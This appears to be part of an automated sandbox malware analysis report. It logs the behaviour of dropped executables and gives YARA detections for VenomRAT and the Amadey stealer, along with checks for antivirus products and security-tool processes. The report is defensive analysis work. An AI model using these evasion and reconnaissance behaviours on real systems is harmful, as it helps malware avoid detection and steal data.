Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038978021\am_no.cmd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038978021\am_no.cmd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected VenomRAT

Source: Yara match	File source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED

Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: MSASCui.exe
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: procexp.exe
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 47.2.b2ee16741f.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.UWYXurYZ2x.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
